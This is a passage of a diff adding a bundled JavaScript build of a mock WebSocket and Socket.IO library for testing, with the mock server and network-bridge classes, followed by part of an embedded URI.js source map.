+    this.eventPhase = 0;
+    this.defaultPrevented = false;
+    this.currentTarget = null;
+    this.cancelable = cancelable ? Boolean(cancelable) : false;
+    this.canncelBubble = false;
+    this.bubbles = bubbles ? Boolean(bubbles) : false;
+    this.origin = origin ? String(origin) : '';
+    this.ports = typeof ports === 'undefined' ? null : ports;
+    this.data = typeof data === 'undefined' ? null : data;
+    this.lastEventId = lastEventId ? String(lastEventId) : '';
+  }
+
+  return MessageEvent;
+})(_eventPrototype2['default']);
+
+exports['default'] = MessageEvent;
+module.exports = exports['default'];
+},{"./event-prototype":11}],14:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+var _server = require('./server');
+
+var _server2 = _interopRequireDefault(_server);
+
+var _socketIo = require('./socket-io');
+
+var _socketIo2 = _interopRequireDefault(_socketIo);
+
+var _websocket = require('./websocket');
+
+var _websocket2 = _interopRequireDefault(_websocket);
+
+if (typeof window !== 'undefined') {
+  window.MockServer = _server2['default'];
+  window.MockWebSocket = _websocket2['default'];
+  window.MockSocketIO = _socketIo2['default'];
+}
+
+var Server = _server2['default'];
+exports.Server = Server;
+var WebSocket = _websocket2['default'];
+exports.WebSocket = WebSocket;
+var SocketIO = _socketIo2['default'];
+exports.SocketIO = SocketIO;
+},{"./server":16,"./socket-io":17,"./websocket":18}],15:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+var _helpersArrayHelpers = require('./helpers/array-helpers');
+
+/*
+* The network bridge is a way for the mock websocket object to 'communicate' with
+* all avalible servers. This is a singleton object so it is important that you
+* clean up urlMap whenever you are finished.
+*/
+
+var NetworkBridge = (function () {
+  function NetworkBridge() {
+    _classCallCheck(this, NetworkBridge);
+
+    this.urlMap = {};
+  }
+
+  /*
+  * Attaches a websocket object to the urlMap hash so that it can find the server
+  * it is connected to and the server in turn can find it.
+  *
+  * @param {object} websocket - websocket object to add to the urlMap hash
+  * @param {string} url
+  */
+
+  _createClass(NetworkBridge, [{
+    key: 'attachWebSocket',
+    value: function attachWebSocket(websocket, url) {
+      var connectionLookup = this.urlMap[url];
+
+      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) === -1) {
+        connectionLookup.websockets.push(websocket);
+        return connectionLookup.server;
+      }
+    }
+
+    /*
+    * Attaches a websocket to a room
+    */
+  }, {
+    key: 'addMembershipToRoom',
+    value: function addMembershipToRoom(websocket, room) {
+      var connectionLookup = this.urlMap[websocket.url];
+
+      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) !== -1) {
+        if (!connectionLookup.roomMemberships[room]) {
+          connectionLookup.roomMemberships[room] = [];
+        }
+
+        connectionLookup.roomMemberships[room].push(websocket);
+      }
+    }
+
+    /*
+    * Attaches a server object to the urlMap hash so that it can find a websockets
+    * which are connected to it and so that websockets can in turn can find it.
+    *
+    * @param {object} server - server object to add to the urlMap hash
+    * @param {string} url
+    */
+  }, {
+    key: 'attachServer',
+    value: function attachServer(server, url) {
+      var connectionLookup = this.urlMap[url];
+
+      if (!connectionLookup) {
+        this.urlMap[url] = {
+          server: server,
+          websockets: [],
+          roomMemberships: {}
+        };
+
+        return server;
+      }
+    }
+
+    /*
+    * Finds the server which is 'running' on the given url.
+    *
+    * @param {string} url - the url to use to find which server is running on it
+    */
+  }, {
+    key: 'serverLookup',
+    value: function serverLookup(url) {
+      var connectionLookup = this.urlMap[url];
+
+      if (connectionLookup) {
+        return connectionLookup.server;
+      }
+    }
+
+    /*
+    * Finds all websockets which is 'listening' on the given url.
+    *
+    * @param {string} url - the url to use to find all websockets which are associated with it
+    * @param {string} room - if a room is provided, will only return sockets in this room
+    */
+  }, {
+    key: 'websocketsLookup',
+    value: function websocketsLookup(url, room) {
+      var connectionLookup = this.urlMap[url];
+
+      if (!connectionLookup) {
+        return [];
+      }
+
+      if (room) {
+        var members = connectionLookup.roomMemberships[room];
+        return members ? members : [];
+      }
+
+      return connectionLookup.websockets;
+    }
+
+    /*
+    * Removes the entry associated with the url.
+    *
+    * @param {string} url
+    */
+  }, {
+    key: 'removeServer',
+    value: function removeServer(url) {
+      delete this.urlMap[url];
+    }
+
+    /*
+    * Removes the individual websocket from the map of associated websockets.
+    *
+    * @param {object} websocket - websocket object to remove from the url map
+    * @param {string} url
+    */
+  }, {
+    key: 'removeWebSocket',
+    value: function removeWebSocket(websocket, url) {
+      var connectionLookup = this.urlMap[url];
+
+      if (connectionLookup) {
+        connectionLookup.websockets = (0, _helpersArrayHelpers.reject)(connectionLookup.websockets, function (socket) {
+          return socket === websocket;
+        });
+      }
+    }
+
+    /*
+    * Removes a websocket from a room
+    */
+  }, {
+    key: 'removeMembershipFromRoom',
+    value: function removeMembershipFromRoom(websocket, room) {
+      var connectionLookup = this.urlMap[websocket.url];
+      var memberships = connectionLookup.roomMemberships[room];
+
+      if (connectionLookup && memberships !== null) {
+        connectionLookup.roomMemberships[room] = (0, _helpersArrayHelpers.reject)(memberships, function (socket) {
+          return socket === websocket;
+        });
+      }
+    }
+  }]);
+
+  return NetworkBridge;
+})();
+
+exports['default'] = new NetworkBridge();
+// Note: this is a singleton
+module.exports = exports['default'];
+},{"./helpers/array-helpers":7}],16:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
+
+var _get = function get(_x4, _x5, _x6) { var _again = true; _function: while (_again) { var object = _x4, property = _x5, receiver = _x6; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x4 = parent; _x5 = property; _x6 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
+
+var _urijs = require('urijs');
+
+var _urijs2 = _interopRequireDefault(_urijs);
+
+var _websocket = require('./websocket');
+
+var _websocket2 = _interopRequireDefault(_websocket);
+
+var _eventTarget = require('./event-target');
+
+var _eventTarget2 = _interopRequireDefault(_eventTarget);
+
+var _networkBridge = require('./network-bridge');
+
+var _networkBridge2 = _interopRequireDefault(_networkBridge);
+
+var _helpersCloseCodes = require('./helpers/close-codes');
+
+var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);
+
+var _eventFactory = require('./event-factory');
+
+/*
+* https://github.com/websockets/ws#server-example
+*/
+
+var Server = (function (_EventTarget) {
+  _inherits(Server, _EventTarget);
+
+  /*
+  * @param {string} url
+  */
+
+  function Server(url) {
+    _classCallCheck(this, Server);
+
+    _get(Object.getPrototypeOf(Server.prototype), 'constructor', this).call(this);
+    this.url = (0, _urijs2['default'])(url).toString();
+    var server = _networkBridge2['default'].attachServer(this, this.url);
+
+    if (!server) {
+      this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error' }));
+      throw new Error('A mock server is already listening on this url');
+    }
+  }
+
+  /*
+   * Alternative constructor to support namespaces in socket.io
+   *
+   * http://socket.io/docs/rooms-and-namespaces/#custom-namespaces
+   */
+
+  /*
+  * This is the main function for the mock server to subscribe to the on events.
+  *
+  * ie: mockServer.on('connection', function() { console.log('a mock client connected'); });
+  *
+  * @param {string} type - The event key to subscribe to. Valid keys are: connection, message, and close.
+  * @param {function} callback - The callback which should be called when a certain event is fired.
+  */
+
+  _createClass(Server, [{
+    key: 'on',
+    value: function on(type, callback) {
+      this.addEventListener(type, callback);
+    }
+
+    /*
+    * This send function will notify all mock clients via their onmessage callbacks that the server
+    * has a message for them.
+    *
+    * @param {*} data - Any javascript object which will be crafted into a MessageObject.
+    */
+  }, {
+    key: 'send',
+    value: function send(data) {
+      var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
+
+      this.emit('message', data, options);
+    }
+
+    /*
+    * Sends a generic message event to all mock clients.
+    */
+  }, {
+    key: 'emit',
+    value: function emit(event, data) {
+      var _this2 = this;
+
+      var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
+      var websockets = options.websockets;
+
+      if (!websockets) {
+        websockets = _networkBridge2['default'].websocketsLookup(this.url);
+      }
+
+      websockets.forEach(function (socket) {
+        socket.dispatchEvent((0, _eventFactory.createMessageEvent)({
+          type: event,
+          data: data,
+          origin: _this2.url,
+          target: socket
+        }));
+      });
+    }
+
+    /*
+    * Closes the connection and triggers the onclose method of all listening
+    * websockets. After that it removes itself from the urlMap so another server
+    * could add itself to the url.
+    *
+    * @param {object} options
+    */
+  }, {
+    key: 'close',
+    value: function close() {
+      var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
+      var code = options.code;
+      var reason = options.reason;
+      var wasClean = options.wasClean;
+
+      var listeners = _networkBridge2['default'].websocketsLookup(this.url);
+
+      listeners.forEach(function (socket) {
+        socket.readyState = _websocket2['default'].CLOSE;
+        socket.dispatchEvent((0, _eventFactory.createCloseEvent)({
+          type: 'close',
+          target: socket,
+          code: code || _helpersCloseCodes2['default'].CLOSE_NORMAL,
+          reason: reason || '',
+          wasClean: wasClean
+        }));
+      });
+
+      this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close' }), this);
+      _networkBridge2['default'].removeServer(this.url);
+    }
+
+    /*
+    * Returns an array of websockets which are listening to this server
+    */
+  }, {
+    key: 'clients',
+    value: function clients() {
+      return _networkBridge2['default'].websocketsLookup(this.url);
+    }
+
+    /*
+    * Prepares a method to submit an event to members of the room
+    *
+    * e.g. server.to('my-room').emit('hi!');
+    */
+  }, {
+    key: 'to',
+    value: function to(room) {
+      var _this = this;
+      var websockets = _networkBridge2['default'].websocketsLookup(this.url, room);
+      return {
+        emit: function emit(event, data) {
+          _this.emit(event, data, { websockets: websockets });
+        }
+      };
+    }
+  }]);
+
+  return Server;
+})(_eventTarget2['default']);
+
+Server.of = function of(url) {
+  return new Server(url);
+};
+
+exports['default'] = Server;
+module.exports = exports['default'];
+},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./network-bridge":15,"./websocket":18,"urijs":3}],17:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
+
+var _get = function get(_x3, _x4, _x5) { var _again = true; _function: while (_again) { var object = _x3, property = _x4, receiver = _x5; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x3 = parent; _x4 = property; _x5 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
+
+var _urijs = require('urijs');
+
+var _urijs2 = _interopRequireDefault(_urijs);
+
+var _helpersDelay = require('./helpers/delay');
+
+var _helpersDelay2 = _interopRequireDefault(_helpersDelay);
+
+var _eventTarget = require('./event-target');
+
+var _eventTarget2 = _interopRequireDefault(_eventTarget);
+
+var _networkBridge = require('./network-bridge');
+
+var _networkBridge2 = _interopRequireDefault(_networkBridge);
+
+var _helpersCloseCodes = require('./helpers/close-codes');
+
+var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);
+
+var _eventFactory = require('./event-factory');
+
+/*
+* The socket-io class is designed to mimick the real API as closely as possible.
+*
+* http://socket.io/docs/
+*/
+
+var SocketIO = (function (_EventTarget) {
+  _inherits(SocketIO, _EventTarget);
+
+  /*
+  * @param {string} url
+  */
+
+  function SocketIO() {
+    var _this = this;
+
+    var url = arguments.length <= 0 || arguments[0] === undefined ? 'socket.io' : arguments[0];
+    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];
+
+    _classCallCheck(this, SocketIO);
+
+    _get(Object.getPrototypeOf(SocketIO.prototype), 'constructor', this).call(this);
+
+    this.binaryType = 'blob';
+    this.url = (0, _urijs2['default'])(url).toString();
+    this.readyState = SocketIO.CONNECTING;
+    this.protocol = '';
+
+    if (typeof protocol === 'string') {
+      this.protocol = protocol;
+    } else if (Array.isArray(protocol) && protocol.length > 0) {
+      this.protocol = protocol[0];
+    }
+
+    var server = _networkBridge2['default'].attachWebSocket(this, this.url);
+
+    /*
+    * Delay triggering the connection events so they can be defined in time.
+    */
+    (0, _helpersDelay2['default'])(function delayCallback() {
+      if (server) {
+        this.readyState = SocketIO.OPEN;
+        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);
+        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect' }), server, this); // alias
+        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect', target: this }));
+      } else {
+        this.readyState = SocketIO.CLOSED;
+        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));
+        this.dispatchEvent((0, _eventFactory.createCloseEvent)({
+          type: 'close',
+          target: this,
+          code: _helpersCloseCodes2['default'].CLOSE_NORMAL
+        }));
+
+        console.error('Socket.io connection to \'' + this.url + '\' failed');
+      }
+    }, this);
+
+    /**
+      Add an aliased event listener for close / disconnect
+     */
+    this.addEventListener('close', function (event) {
+      _this.dispatchEvent((0, _eventFactory.createCloseEvent)({
+        type: 'disconnect',
+        target: event.target,
+        code: event.code
+      }));
+    });
+  }
+
+  /*
+  * Closes the SocketIO connection or connection attempt, if any.
+  * If the connection is already CLOSED, this method does nothing.
+  */
+
+  _createClass(SocketIO, [{
+    key: 'close',
+    value: function close() {
+      if (this.readyState !== SocketIO.OPEN) {
+        return undefined;
+      }
+
+      var server = _networkBridge2['default'].serverLookup(this.url);
+      _networkBridge2['default'].removeWebSocket(this, this.url);
+
+      this.readyState = SocketIO.CLOSED;
+      this.dispatchEvent((0, _eventFactory.createCloseEvent)({
+        type: 'close',
+        target: this,
+        code: _helpersCloseCodes2['default'].CLOSE_NORMAL
+      }));
+
+      if (server) {
+        server.dispatchEvent((0, _eventFactory.createCloseEvent)({
+          type: 'disconnect',
+          target: this,
+          code: _helpersCloseCodes2['default'].CLOSE_NORMAL
+        }), server);
+      }
+    }
+
+    /*
+    * Alias for Socket#close
+    *
+    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L383
+    */
+  }, {
+    key: 'disconnect',
+    value: function disconnect() {
+      this.close();
+    }
+
+    /*
+    * Submits an event to the server with a payload
+    */
+  }, {
+    key: 'emit',
+    value: function emit(event, data) {
+      if (this.readyState !== SocketIO.OPEN) {
+        throw new Error('SocketIO is already in CLOSING or CLOSED state');
+      }
+
+      var messageEvent = (0, _eventFactory.createMessageEvent)({
+        type: event,
+        origin: this.url,
+        data: data
+      });
+
+      var server = _networkBridge2['default'].serverLookup(this.url);
+
+      if (server) {
+        server.dispatchEvent(messageEvent, data);
+      }
+    }
+
+    /*
+    * Submits a 'message' event to the server.
+    *
+    * Should behave exactly like WebSocket#send
+    *
+    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L113
+    */
+  }, {
+    key: 'send',
+    value: function send(data) {
+      this.emit('message', data);
+    }
+
+    /*
+    * For registering events to be received from the server
+    */
+  }, {
+    key: 'on',
+    value: function on(type, callback) {
+      this.addEventListener(type, callback);
+    }
+
+    /*
+     * Join a room on a server
+     *
+     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving
+     */
+  }, {
+    key: 'join',
+    value: function join(room) {
+      _networkBridge2['default'].addMembershipToRoom(this, room);
+    }
+
+    /*
+     * Get the websocket to leave the room
+     *
+     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving
+     */
+  }, {
+    key: 'leave',
+    value: function leave(room) {
+      _networkBridge2['default'].removeMembershipFromRoom(this, room);
+    }
+
+    /*
+     * Invokes all listener functions that are listening to the given event.type property. Each
+     * listener will be passed the event as the first argument.
+     *
+     * @param {object} event - event object which will be passed to all listeners of the event.type property
+     */
+  }, {
+    key: 'dispatchEvent',
+    value: function dispatchEvent(event) {
+      var _this2 = this;
+
+      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
+        customArguments[_key - 1] = arguments[_key];
+      }
+
+      var eventName = event.type;
+      var listeners = this.listeners[eventName];
+
+      if (!Array.isArray(listeners)) {
+        return false;
+      }
+
+      listeners.forEach(function (listener) {
+        if (customArguments.length > 0) {
+          listener.apply(_this2, customArguments);
+        } else {
+          // Regular WebSockets expect a MessageEvent but Socketio.io just wants raw data
+          //  payload instanceof MessageEvent works, but you can't isntance of NodeEvent
+          //  for now we detect if the output has data defined on it
+          listener.call(_this2, event.data ? event.data : event);
+        }
+      });
+    }
+  }]);
+
+  return SocketIO;
+})(_eventTarget2['default']);
+
+SocketIO.CONNECTING = 0;
+SocketIO.OPEN = 1;
+SocketIO.CLOSING = 2;
+SocketIO.CLOSED = 3;
+
+/*
+* Static constructor methods for the IO Socket
+*/
+var IO = function ioConstructor(url) {
+  return new SocketIO(url);
+};
+
+/*
+* Alias the raw IO() constructor
+*/
+IO.connect = function ioConnect(url) {
+  /* eslint-disable new-cap */
+  return IO(url);
+  /* eslint-enable new-cap */
+};
+
+exports['default'] = IO;
+module.exports = exports['default'];
+},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./helpers/delay":10,"./network-bridge":15,"urijs":3}],18:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
+
+var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
+
+var _urijs = require('urijs');
+
+var _urijs2 = _interopRequireDefault(_urijs);
+
+var _helpersDelay = require('./helpers/delay');
+
+var _helpersDelay2 = _interopRequireDefault(_helpersDelay);
+
+var _eventTarget = require('./event-target');
+
+var _eventTarget2 = _interopRequireDefault(_eventTarget);
+
+var _networkBridge = require('./network-bridge');
+
+var _networkBridge2 = _interopRequireDefault(_networkBridge);
+
+var _helpersCloseCodes = require('./helpers/close-codes');
+
+var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);
+
+var _eventFactory = require('./event-factory');
+
+/*
+* The main websocket class which is designed to mimick the native WebSocket class as close
+* as possible.
+*
+* https://developer.mozilla.org/en-US/docs/Web/API/WebSocket
+*/
+
+var WebSocket = (function (_EventTarget) {
+  _inherits(WebSocket, _EventTarget);
+
+  /*
+  * @param {string} url
+  */
+
+  function WebSocket(url) {
+    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];
+
+    _classCallCheck(this, WebSocket);
+
+    _get(Object.getPrototypeOf(WebSocket.prototype), 'constructor', this).call(this);
+
+    if (!url) {
+      throw new TypeError('Failed to construct \'WebSocket\': 1 argument required, but only 0 present.');
+    }
+
+    this.binaryType = 'blob';
+    this.url = (0, _urijs2['default'])(url).toString();
+    this.readyState = WebSocket.CONNECTING;
+    this.protocol = '';
+
+    if (typeof protocol === 'string') {
+      this.protocol = protocol;
+    } else if (Array.isArray(protocol) && protocol.length > 0) {
+      this.protocol = protocol[0];
+    }
+
+    /*
+    * In order to capture the callback function we need to define custom setters.
+    * To illustrate:
+    *   mySocket.onopen = function() { alert(true) };
+    *
+    * The only way to capture that function and hold onto it for later is with the
+    * below code:
+    */
+    Object.defineProperties(this, {
+      onopen: {
+        configurable: true,
+        enumerable: true,
+        get: function get() {
+          return this.listeners.open;
+        },
+        set: function set(listener) {
+          this.addEventListener('open', listener);
+        }
+      },
+      onmessage: {
+        configurable: true,
+        enumerable: true,
+        get: function get() {
+          return this.listeners.message;
+        },
+        set: function set(listener) {
+          this.addEventListener('message', listener);
+        }
+      },
+      onclose: {
+        configurable: true,
+        enumerable: true,
+        get: function get() {
+          return this.listeners.close;
+        },
+        set: function set(listener) {
+          this.addEventListener('close', listener);
+        }
+      },
+      onerror: {
+        configurable: true,
+        enumerable: true,
+        get: function get() {
+          return this.listeners.error;
+        },
+        set: function set(listener) {
+          this.addEventListener('error', listener);
+        }
+      }
+    });
+
+    var server = _networkBridge2['default'].attachWebSocket(this, this.url);
+
+    /*
+    * This delay is needed so that we dont trigger an event before the callbacks have been
+    * setup. For example:
+    *
+    * var socket = new WebSocket('ws://localhost');
+    *
+    * // If we dont have the delay then the event would be triggered right here and this is
+    * // before the onopen had a chance to register itself.
+    *
+    * socket.onopen = () => { // this would never be called };
+    *
+    * // and with the delay the event gets triggered here after all of the callbacks have been
+    * // registered :-)
+    */
+    (0, _helpersDelay2['default'])(function delayCallback() {
+      if (server) {
+        this.readyState = WebSocket.OPEN;
+        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);
+        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'open', target: this }));
+      } else {
+        this.readyState = WebSocket.CLOSED;
+        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));
+        this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close', target: this, code: _helpersCloseCodes2['default'].CLOSE_NORMAL }));
+
+        console.error('WebSocket connection to \'' + this.url + '\' failed');
+      }
+    }, this);
+  }
+
+  /*
+  * Transmits data to the server over the WebSocket connection.
+  *
+  * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#send()
+  */
+
+  _createClass(WebSocket, [{
+    key: 'send',
+    value: function send(data) {
+      if (this.readyState === WebSocket.CLOSING || this.readyState === WebSocket.CLOSED) {
+        throw new Error('WebSocket is already in CLOSING or CLOSED state');
+      }
+
+      var messageEvent = (0, _eventFactory.createMessageEvent)({
+        type: 'message',
+        origin: this.url,
+        data: data
+      });
+
+      var server = _networkBridge2['default'].serverLookup(this.url);
+
+      if (server) {
+        server.dispatchEvent(messageEvent, data);
+      }
+    }
+
+    /*
+    * Closes the WebSocket connection or connection attempt, if any.
+    * If the connection is already CLOSED, this method does nothing.
+    *
+    * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#close()
+    */
+  }, {
+    key: 'close',
+    value: function close() {
+      if (this.readyState !== WebSocket.OPEN) {
+        return undefined;
+      }
+
+      var server = _networkBridge2['default'].serverLookup(this.url);
+      var closeEvent = (0, _eventFactory.createCloseEvent)({
+        type: 'close',
+        target: this,
+        code: _helpersCloseCodes2['default'].CLOSE_NORMAL
+      });
+
+      _networkBridge2['default'].removeWebSocket(this, this.url);
+
+      this.readyState = WebSocket.CLOSED;
+      this.dispatchEvent(closeEvent);
+
+      if (server) {
+        server.dispatchEvent(closeEvent, server);
+      }
+    }
+  }]);
+
+  return WebSocket;
+})(_eventTarget2['default']);
+
+WebSocket.CONNECTING = 0;
+WebSocket.OPEN = 1;
+WebSocket.CLOSING = 2;
+WebSocket.CLOSED = 3;
+
+exports['default'] = WebSocket;
+module.exports = exports['default'];
+},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./helpers/delay":10,"./network-bridge":15,"urijs":3}]},{},[14])
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e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error(\"Cannot find module '\"+o+\"'\");throw f.code=\"MODULE_NOT_FOUND\",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})","/*!\n * URI.js - Mutating URLs\n * IPv6 Support\n *\n * Version: 1.17.0\n *\n * Author: Rodney Rehm\n * Web: http://medialize.github.io/URI.js/\n *\n * Licensed under\n *   MIT License http://www.opensource.org/licenses/mit-license\n *   GPL v3 http://opensource.org/licenses/GPL-3.0\n *\n */\n\n(function (root, factory) {\n  'use strict';\n  // https://github.com/umdjs/umd/blob/master/returnExports.js\n  if (typeof exports === 'object') {\n    // Node\n    module.exports = factory();\n  } else if (typeof define === 'function' && define.amd) {\n    // AMD. Register as an anonymous module.\n    define(factory);\n  } else {\n    // Browser globals (root is window)\n    root.IPv6 = factory(root);\n  }\n}(this, function (root) {\n  'use strict';\n\n  /*\n  var _in = \"fe80:0000:0000:0000:0204:61ff:fe9d:f156\";\n  var _out = IPv6.best(_in);\n  var _expected = \"fe80::204:61ff:fe9d:f156\";\n\n  console.log(_in, _out, _expected, _out === _expected);\n  */\n\n  // save current IPv6 variable, if any\n  var _IPv6 = root && root.IPv6;\n\n  function bestPresentation(address) {\n    // based on:\n    // Javascript to test an IPv6 address for proper format, and to\n    // present the \"best text representation\" according to IETF Draft RFC at\n    // http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04\n    // 8 Feb 2010 Rich Brown, Dartware, LLC\n    // Please feel free to use this code as long as you provide a link to\n    // http://www.intermapper.com\n    // http://intermapper.com/support/tools/IPV6-Validator.aspx\n    // http://download.dartware.com/thirdparty/ipv6validator.js\n\n    var _address = address.toLowerCase();\n    var segments = _address.split(':');\n    var length = segments.length;\n    var total = 8;\n\n    // trim colons (:: or ::a:b:c… or …a:b:c::)\n    if (segments[0] === '' && segments[1] === '' && segments[2] === '') {\n      // must have been ::\n      // remove first two items\n      segments.shift();\n      segments.shift();\n    } else if (segments[0] === '' && segments[1] === '') {\n      // must have been ::xxxx\n      // remove the first item\n      segments.shift();\n    } else if (segments[length - 1] === '' && segments[length - 2] === '') {\n      // must have been xxxx::\n      segments.pop();\n    }\n\n    length = segments.length;\n\n    // adjust total segments for IPv4 trailer\n    if (segments[length - 1].indexOf('.') !== -1) {\n      // found a \".\" which means IPv4\n      total = 7;\n    }\n\n    // fill empty segments them with \"0000\"\n    var pos;\n    for (pos = 0; pos < length; pos++) {\n      if (segments[pos] === '') {\n        break;\n      }\n    }\n\n    if (pos < total) {\n      segments.splice(pos, 1, '0000');\n      while (segments.length < total) {\n        segments.splice(pos, 0, '0000');\n      }\n\n      length = segments.length;\n    }\n\n    // strip leading zeros\n    var 